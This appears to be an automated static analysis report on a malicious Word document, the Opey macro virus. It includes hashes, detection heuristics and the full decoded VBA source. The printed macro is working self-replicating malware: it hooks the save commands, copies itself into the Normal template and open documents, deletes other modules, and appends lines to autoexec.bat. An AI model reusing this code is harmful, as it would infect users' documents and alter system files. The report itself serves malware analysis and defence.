Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 569d0dab1b59d767…

MALICIOUS

Office (OLE)

39.5 KB Created: 2000-04-07 12:19:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e9a6b1cd60efaa4e01f1d2fe81d60266 SHA-1: 59906ce58d5a30f8b82962e746a8470c5e082cec SHA-256: 569d0dab1b59d7673d651fe2bc3cd220a079c26c0ad283f03fdb7d6f09bab810
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Opey-4. It contains VBA macros, one of which, named 'A_OPEY_03', attempts to append commands to 'c:\autoexec.bat'. This suggests an attempt to establish persistence or execute a secondary payload. The legacy WordBasic auto-exec marker also indicates a macro-based threat.

Heuristics 3

  • ClamAV: Doc.Trojan.Opey-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-4
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9065 bytes
SHA-256: f53b6da17a13947de5db6b0ee2b2ef699003b29a6703b09762b492fdfb129a1b
Detection
ClamAV: Doc.Trojan.Opey-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "A_OPEY_03"
Sub greetings()
    On Error Resume Next
        autoexecfile$ = "c:\autoexec.bat"
        hFile = FreeFile
        line1$ = ""
            If ((Month(Date) = 12) And (Day(Date) = 25)) Or ((Month(Date) = 1) And (Day(Date) = 1)) Then
                line1$ = "echo MERRY CHRISTMASS AND A HAPPY NEW YEAR !!!"
            End If
            If (Month(Date) = 11) And (Day(Date) = 1) Then
                line1$ = "echo HAPPY HALLOWEEN !!!"
            End If
            If (Month(Date) = 2) And (Day(Date) = 14) Then
                line1$ = "echo HAPPY VALENTINES DAY !!!"
            End If
                If line1$ <> "" Then
                    Open autoexecfile$ For Append Access Write As hFile
                        Print #hFile, "@echo off"
                        Print #hFile, line1$
                        Print #hFile, "echo from: OPEY A."
                        Print #hFile, "pause"
                    Close hFile
                End If
End Sub
Sub OnlyYou()
  On Error Resume Next
    
    NTInfected = False
        For i = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
            clan = NormalTemplate.VBProject.VBComponents(i).Name
                If clan = "A_OPEY_03" Then NTInfected = True
                If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
        Next i
        For Each opendoc In Documents
            ODInfected = False
            With opendoc
                For J = opendoc.VBProject.VBComponents.Count To 1 Step -1
                clan = opendoc.VBProject.VBComponents(J).Name
                    If clan = "A_OPEY_03" Then ODInfected = True
                    If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
                Next J
                If ODInfected = False Then
                    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
                    opendoc.SaveAs FileName:=opendoc.FullName
                End If
            End With
        Next opendoc
            If NTInfected = False Then
                Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
                NormalTemplate.Save
            End If
    Call greetings
End Sub
Sub FileSave()
    On Error Resume Next
    Call OnlyYou
    ActiveDocument.Save
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Call OnlyYou
    Dialogs(wdDialogFileSaveAs).Show
End Sub

' Processing file: /opt/analyzer/scan_staging/56337f7bdd4748329236e011a1679f03.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1120 bytes
' Macros/VBA/A_OPEY_03 - 4086 bytes
' Line #0:
' 	FuncDefn (Sub greetings())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitStr 0x000F "c:\autoexec.bat"
' 	St autoexecfile$ 
' Line #3:
' 	Ld Friend 
' 	St hFile 
' Line #4:
' 	LitStr 0x0000 ""
' 	St line1$ 
' Line #5:
' 	Ld Date 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x000C 
' 	Eq 
' 	Paren 
' 	Ld Date 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0019 
' 	Eq 
' 	Paren 
' 	And 
' 	Paren 
' 	Ld Date 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x0001 
' 	Eq 
' 	Paren 
' 	Ld Date 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0001 
' 	Eq 
' 	Paren 
' 	And 
' 	Paren 
' 	Or 
' 	IfBlock 
' Line #6:
' 	LitStr 0x002E "echo MERRY CHRISTMASS AND A HAPPY NEW YEAR !!!"
' 	St line1$ 
' Line #7:
' 	EndIfBlock 
' Line #8:
' 	Ld 
... (truncated)

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